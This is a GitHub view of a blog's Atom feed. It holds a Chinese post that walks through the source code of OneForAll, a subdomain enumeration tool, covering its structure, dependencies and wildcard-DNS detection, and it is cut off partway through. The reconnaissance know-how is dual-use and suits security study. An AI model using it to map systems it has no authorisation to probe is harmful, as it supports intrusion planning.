-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
518 lines (250 loc) · 731 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Tao's Blog</title>
<subtitle>漫思茶</subtitle>
<link href="https://taonn.github.io/atom.xml" rel="self"/>
<link href="https://taonn.github.io/"/>
<updated>2022-02-14T07:48:25.973Z</updated>
<id>https://taonn.github.io/</id>
<author>
<name>Tao</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>从工具OneForAll代码角度学习子域名挖掘</title>
<link href="https://taonn.github.io/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/"/>
<id>https://taonn.github.io/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/</id>
<published>2022-01-28T07:33:58.000Z</published>
<updated>2022-02-14T07:48:25.973Z</updated>
<content type="html"><![CDATA[<p>引言:</p><p>工具里用到的原理,大部分都可以通过下文找到:</p><p><a href="https://taonn.github.io/2021/08/03/%E5%AD%90%E5%9F%9F%E5%90%8D%E6%9E%9A%E4%B8%BE-%E6%94%B6%E9%9B%86/">子域名枚举&收集</a></p><p>从工具OneForAll代码角度学习子域名收集</p><p>代码分析版本为:<code>OneForAll v0.4.3</code></p><p>OneForAll目录结构</p><blockquote><p>参考来源<code>./docs/directory_structure.md</code></p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br></pre></td><td class="code"><pre><span class="line">D:.</span><br><span class="line">| .gitignore</span><br><span class="line">| .travis.yml</span><br><span class="line">| brute.py 可以单独运行的子域爆破模块</span><br><span class="line">| collect.py 各个收集模块上层调用</span><br><span class="line">| dbexport.py 可以单独运行的数据库导出模块</span><br><span class="line">| Dockerfile</span><br><span class="line">| LICENSE</span><br><span class="line">| oneforall.py OneForAll主入口</span><br><span class="line">| Pipfile</span><br><span class="line">| Pipfile.lock</span><br><span class="line">| README.en.md</span><br><span class="line">| README.md</span><br><span class="line">| requirements.txt</span><br><span class="line">| takeover.py 可以单独运行的子域接口风险检查模块</span><br><span class="line">| _config.yml</span><br><span class="line">|</span><br><span class="line">+---.github</span><br><span class="line">| +---ISSUE_TEMPLATE</span><br><span class="line">| | bug_report.md</span><br><span class="line">| | bug_report_zh.md</span><br><span class="line">| | custom.md</span><br><span class="line">| | feature_request.md</span><br><span class="line">| |</span><br><span class="line">| \---workflows</span><br><span class="line">| test.yml</span><br><span class="line">|</span><br><span class="line">|</span><br><span class="line">+---common 公共调用模块</span><br><span class="line">| crawl.py</span><br><span class="line">| database.py</span><br><span class="line">| domain.py</span><br><span class="line">| lookup.py</span><br><span class="line">| module.py</span><br><span class="line">| query.py</span><br><span class="line">| request.py</span><br><span class="line">| resolve.py</span><br><span class="line">| search.py</span><br><span class="line">| utils.py</span><br><span class="line">| __init__.py</span><br><span class="line">|</span><br><span class="line">+---config 配置目录</span><br><span class="line">| api.py 部分收集模块的API配置文件</span><br><span class="line">| log.py 日志模块配置文件</span><br><span class="line">| setting.py OneForAll主要配置文件</span><br><span class="line">|</span><br><span class="line">+---data 存放一些所需数据</span><br><span class="line">| authoritative_dns.txt 临时存放开启了泛解析域名的权威DNS名称服务器IP地址</span><br><span class="line">| subnames_big<span class="number">.7</span>z 子域爆破超大字典</span><br><span class="line">| nameservers_cn.txt 中国主流名称服务器IP地址</span><br><span class="line">| fingerprints.json 检查子域接管风险的指纹</span><br><span class="line">| nameservers.txt 全球主流名称服务器IP地址</span><br><span class="line">| subnames_next.txt 下一层子域字典</span><br><span class="line">| public_suffix_list.dat 顶级域名后缀</span><br><span class="line">| srv_prefixes.json 常见SRV记录前缀名</span><br><span class="line">| subnames.txt 子域爆破常见字典</span><br><span class="line">|</span><br><span class="line">+---docs 有关文档</span><br><span class="line">| changes.md</span><br><span class="line">| collection_modules.md</span><br><span class="line">| contributors.md</span><br><span class="line">| installation_dependency.md</span><br><span class="line">| todo.md</span><br><span class="line">| troubleshooting.md</span><br><span class="line">| usage_example.svg</span><br><span class="line">| usage_help.en.md</span><br><span class="line">| usage_help.md</span><br><span class="line">|</span><br><span class="line">+---images</span><br><span class="line">| Database.png</span><br><span class="line">| Donate.png</span><br><span class="line">| Result.png</span><br><span class="line">|</span><br><span class="line">+---modules</span><br><span class="line">| +---autotake 自动接管模块</span><br><span class="line">| | github.py</span><br><span class="line">| |</span><br><span class="line">| +---certificates 利用证书透明度收集子域模块</span><br><span class="line">| | censys_api.py</span><br><span class="line">| | certspotter.py</span><br><span class="line">| | crtsh.py</span><br><span class="line">| | entrust.py</span><br><span class="line">| | google.py</span><br><span class="line">| | spyse_api.py</span><br><span class="line">| |</span><br><span class="line">| +---check 常规检查收集子域模块</span><br><span class="line">| | axfr.py</span><br><span class="line">| | cdx.py</span><br><span class="line">| | cert.py</span><br><span class="line">| | csp.py</span><br><span class="line">| | robots.py</span><br><span class="line">| | sitemap.py</span><br><span class="line">| |</span><br><span class="line">| +---crawl 利用网上爬虫档案收集子域模块</span><br><span class="line">| | archivecrawl.py</span><br><span class="line">| | commoncrawl.py</span><br><span class="line">| |</span><br><span class="line">| +---datasets 利用DNS数据集收集子域模块</span><br><span class="line">| | binaryedge_api.py</span><br><span class="line">| | bufferover.py</span><br><span class="line">| | cebaidu.py</span><br><span class="line">| | chinaz.py</span><br><span class="line">| | chinaz_api.py</span><br><span class="line">| | circl_api.py</span><br><span class="line">| | dnsdb_api.py</span><br><span class="line">| | dnsdumpster.py</span><br><span class="line">| | hackertarget.py</span><br><span class="line">| | ip138.py</span><br><span class="line">| | ipv4info_api.py</span><br><span class="line">| | netcraft.py</span><br><span class="line">| | passivedns_api.py</span><br><span class="line">| | ptrarchive.py</span><br><span class="line">| | qianxun.py</span><br><span class="line">| | rapiddns.py</span><br><span class="line">| | riddler.py</span><br><span class="line">| | robtex.py</span><br><span class="line">| | securitytrails_api.py</span><br><span class="line">| | sitedossier.py</span><br><span class="line">| | threatcrowd.py</span><br><span class="line">| | wzpc.py</span><br><span class="line">| | ximcx.py</span><br><span class="line">| |</span><br><span class="line">| +---dnsquery 利用DNS查询收集子域模块</span><br><span class="line">| | mx.py</span><br><span class="line">| | ns.py</span><br><span class="line">| | soa.py</span><br><span class="line">| | srv.py</span><br><span class="line">| | txt.py</span><br><span class="line">| |</span><br><span class="line">| +---intelligence 利用威胁情报平台数据收集子域模块</span><br><span class="line">| | alienvault.py</span><br><span class="line">| | riskiq_api.py</span><br><span class="line">| | threatbook_api.py</span><br><span class="line">| | threatminer.py</span><br><span class="line">| | virustotal.py</span><br><span class="line">| | virustotal_api.py</span><br><span class="line">| |</span><br><span class="line">| \---search 利用搜索引擎发现子域模块</span><br><span class="line">| ask.py</span><br><span class="line">| baidu.py</span><br><span class="line">| bing.py</span><br><span class="line">| bing_api.py</span><br><span class="line">| exalead.py</span><br><span class="line">| fofa_api.py</span><br><span class="line">| gitee.py</span><br><span class="line">| github_api.py</span><br><span class="line">| google.py</span><br><span class="line">| google_api.py</span><br><span class="line">| shodan_api.py</span><br><span class="line">| so.py</span><br><span class="line">| sogou.py</span><br><span class="line">| yahoo.py</span><br><span class="line">| yandex.py</span><br><span class="line">| zoomeye_api.py</span><br><span class="line">|</span><br><span class="line">+---results 结果目录</span><br><span class="line">+---test 测试目录</span><br><span class="line">| example.py</span><br><span class="line">|</span><br><span class="line">\---thirdparty 存放要调用的三方工具</span><br><span class="line"> \---massdns</span><br><span class="line"> | LICENSE</span><br><span class="line"> | massdns_darwin_x86_64</span><br><span class="line"> | massdns_linux_i686</span><br><span class="line"> | massdns_linux_x86_64</span><br><span class="line"> | README.md</span><br><span class="line"> |</span><br><span class="line"> \---windows</span><br><span class="line"> +---x64</span><br><span class="line"> | cygwin1.dll</span><br><span class="line"> | massdns_windows_amd64.exe</span><br><span class="line"> |</span><br><span class="line"> \---x86</span><br><span class="line"> cyggcc_s<span class="number">-1.</span>dll</span><br><span class="line"> cygwin1.dll</span><br><span class="line"> massdns_windows_i686.exe</span><br></pre></td></tr></table></figure><p>依赖如下:</p><blockquote><p>来源<code>./requirements.txt</code></p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">beautifulsoup4==<span class="number">4.9</span><span class="number">.3</span></span><br><span class="line">bs4==<span class="number">0.0</span><span class="number">.1</span></span><br><span class="line"><span class="comment"># Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.</span></span><br><span class="line">https://beautifulsoup.readthedocs.io/zh_CN/v4<span class="number">.4</span><span class="number">.0</span>/</span><br><span class="line"></span><br><span class="line">certifi==<span class="number">2020.12</span><span class="number">.5</span></span><br><span class="line">https://appdividend.com/<span class="number">2020</span>/<span class="number">06</span>/<span class="number">19</span>/python-certifi-example-how-to-use-ssl-certificate-<span class="keyword">in</span>-python/</span><br><span class="line"></span><br><span class="line">chardet==<span class="number">4.0</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># 判断编码</span></span><br><span class="line">https://pypi.org/project/chardet/</span><br><span class="line">colorama==<span class="number">0.4</span><span class="number">.4</span></span><br><span class="line"><span class="comment"># 终端颜色显示</span></span><br><span class="line">https://pypi.org/project/colorama/</span><br><span class="line">dnspython==<span class="number">2.1</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># Dns查询工具包</span></span><br><span class="line">https://www.dnspython.org/</span><br><span class="line">exrex==<span class="number">0.10</span><span class="number">.5</span></span><br><span class="line"><span class="comment"># Exrex 是一个命令行工具和 python 模块,可生成与给定正则表达式等的所有或随机匹配的字符串。</span></span><br><span class="line">https://github.com/asciimoo/exrex</span><br><span class="line">fire==<span class="number">0.4</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># Python Fire 是一个用于从绝对任何 Python 对象自动生成命令行界面 (CLI) 的库。</span></span><br><span class="line">https://github.com/google/python-firehttps://blog.csdn.net/qq_17550379/article/details/<span class="number">79943740</span></span><br><span class="line">future==<span class="number">0.18</span><span class="number">.2</span></span><br><span class="line"><span class="comment"># 并行</span></span><br><span class="line">https://docs.python.org/zh-cn/<span class="number">3</span>/library/concurrent.futures.html</span><br><span class="line">idna==<span class="number">2.10</span></span><br><span class="line">https://pypi.org/project/idna/</span><br><span class="line">loguru==<span class="number">0.5</span><span class="number">.3</span></span><br><span class="line"><span class="comment"># 日志模块</span></span><br><span class="line">https://blog.csdn.net/cui_yonghua/article/details/<span class="number">107498535</span></span><br><span class="line">PySocks==<span class="number">1.7</span><span class="number">.1</span></span><br><span class="line"><span class="comment"># 代理模块</span></span><br><span class="line">https://pypi.org/project/PySocks/</span><br><span class="line">requests==<span class="number">2.25</span><span class="number">.1</span></span><br><span class="line"><span class="comment"># 网页请求模块</span></span><br><span class="line">https://docs.python-requests.org/en/latest/</span><br><span class="line">six==<span class="number">1.15</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># 兼容性</span></span><br><span class="line">https://six.readthedocs.io/</span><br><span class="line">soupsieve==<span class="number">2.2</span><span class="number">.1</span></span><br><span class="line"><span class="comment"># css选择</span></span><br><span class="line">https://pypi.org/project/soupsieve/</span><br><span class="line">SQLAlchemy==<span class="number">1.3</span><span class="number">.22</span></span><br><span class="line"><span class="comment"># Python SQL 工具包和对象关系映射器</span></span><br><span class="line">https://pypi.org/project/SQLAlchemy/</span><br><span class="line">tenacity==<span class="number">7.0</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># 简化将重试行为添加到几乎任何内容的任务</span></span><br><span class="line">https://tenacity.readthedocs.io/en/latest/</span><br><span class="line">termcolor==<span class="number">1.1</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># 终端颜色</span></span><br><span class="line">https://pypi.org/project/termcolor/</span><br><span class="line">tqdm==<span class="number">4.59</span><span class="number">.0</span></span><br><span class="line"><span class="comment"># 进度显示</span></span><br><span class="line">https://github.com/tqdm/tqdm</span><br><span class="line">treelib==<span class="number">1.6</span><span class="number">.1</span></span><br><span class="line"><span class="comment"># 在 Python 中提供树数据结构的有效实现</span></span><br><span class="line">https://treelib.readthedocs.io/en/latest/</span><br><span class="line">urllib3==<span class="number">1.26</span><span class="number">.4</span></span><br><span class="line"><span class="comment"># 网页请求</span></span><br><span class="line">https://urllib3.readthedocs.io/en/stable/</span><br><span class="line">win32-setctime==<span class="number">1.0</span><span class="number">.3</span></span><br><span class="line"><span class="comment"># 一个小的 Python 实用程序,用于在 Windows 上设置文件创建时间。</span></span><br><span class="line">https://pypi.org/project/win32-setctime/</span><br></pre></td></tr></table></figure><h2 id="0x1-流程总结"><a href="#0x1-流程总结" class="headerlink" title="0x1 流程总结"></a>0x1 流程总结</h2><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run()->main()->detect_wildcard()泛域名解析->收集模块(Collect)->SRV爆破模块(BruteSRV)->爆破模块(Brute)->dns解析验证(resolve)->http请求验证模块(req)->爬取解析模块(Finder)->子域置换模块(Altdns)->丰富结果(enrich)->子域名接管扫描模块(Takeover)</span><br></pre></td></tr></table></figure><h2 id="0x2-流程分析"><a href="#0x2-流程分析" class="headerlink" title="0x2 流程分析"></a>0x2 流程分析</h2><h3 id="0x2-1-run"><a href="#0x2-1-run" class="headerlink" title="0x2.1 run()"></a>0x2.1 run()</h3><p>默认配置&检查</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> domain <span class="keyword">in</span> self.domains:</span><br><span class="line"> self.domain = utils.get_main_domain(domain)</span><br><span class="line"> <span class="comment"># 注册域名</span></span><br><span class="line"> self.main()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_main_domain</span>(<span class="params">domain</span>):</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> isinstance(domain, str):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> <span class="keyword">return</span> Domain(domain).registered()</span><br><span class="line"><span class="comment"># Domain类</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Domain</span>(<span class="params">object</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, string</span>):</span></span><br><span class="line"> self.string = str(string)</span><br><span class="line"> self.regexp = <span class="string">r'\b((?=[a-z0-9-]{1,63}\.)(xn--)?[a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,63}\b'</span></span><br><span class="line"> self.domain = <span class="literal">None</span></span><br><span class="line"> <span class="comment"># 初始化</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">registered</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> registered domain</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> >>> d = Domain('www.example.com')</span></span><br><span class="line"><span class="string"> <domain.Domain object></span></span><br><span class="line"><span class="string"> >>> d.registered()</span></span><br><span class="line"><span class="string"> example.com</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :return: registered domain result</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> result = self.extract()</span><br><span class="line"> <span class="keyword">if</span> result:</span><br><span class="line"> <span class="keyword">return</span> result.registered_domain</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> <span class="comment"># 注册&解析(非dns解析)域名变量</span></span><br></pre></td></tr></table></figure><h3 id="0x2-2-main"><a href="#0x2-2-main" class="headerlink" title="0x2.2 main()"></a>0x2.2 main()</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">self.main()</span><br><span class="line">// 调用OneForAll类 main方法</span><br></pre></td></tr></table></figure><h4 id="0x2-2-1"><a href="#0x2-2-1" class="headerlink" title="0x2.2.1"></a>0x2.2.1</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">utils.init_table(self.domain)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">init_table</span>(<span class="params">domain</span>):</span></span><br><span class="line"> db = Database()</span><br><span class="line"> db.drop_table(domain)</span><br><span class="line"> db.create_table(domain)</span><br><span class="line"> db.close()</span><br><span class="line"> //创建表(先删除,防止报错)</span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128205015659.png" alt="image-20220128205015659"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> self.access_internet:</span><br><span class="line"> self.enable_wildcard = wildcard.detect_wildcard(self.domain)</span><br><span class="line"> <span class="comment"># 泛域名解析</span></span><br><span class="line">collect = Collect(self.domain)</span><br><span class="line"> collect.run()</span><br><span class="line"> <span class="comment"># 跑collect模块</span></span><br><span class="line"> </span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">to_detect_wildcard</span>(<span class="params">domain</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Detect use wildcard dns record or not</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str domain: domain</span></span><br><span class="line"><span class="string"> :return bool use wildcard dns record or not</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Detecting <span class="subst">{domain}</span> use wildcard dns record or not'</span>)</span><br><span class="line"> random_subdomains = gen_random_subdomains(domain, <span class="number">3</span>) <span class="comment"># 随机生成子域名</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> all_resolve_success(random_subdomains):</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> is_all_success, all_request_resp = all_request_success(random_subdomains)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> is_all_success:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">return</span> any_similar_html(all_request_resp)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gen_random_subdomains</span>(<span class="params">domain, count</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> 生成指定数量的随机子域域名列表</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param domain: 主域</span></span><br><span class="line"><span class="string"> :param count: 数量</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> subdomains = set()</span><br><span class="line"> <span class="keyword">if</span> count < <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">return</span> subdomains</span><br><span class="line"> <span class="keyword">for</span> _ <span class="keyword">in</span> range(count):</span><br><span class="line"> token = secrets.token_hex(<span class="number">4</span>)</span><br><span class="line"> subdomains.add(<span class="string">f'<span class="subst">{token}</span>.<span class="subst">{domain}</span>'</span>)</span><br><span class="line"> <span class="keyword">return</span> subdomains</span><br></pre></td></tr></table></figure><h4 id="0x2-2-2-Collect-模块"><a href="#0x2-2-2-Collect-模块" class="headerlink" title="0x2.2.2 Collect()模块"></a>0x2.2.2 Collect()模块</h4><p>以下为收集模块代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span 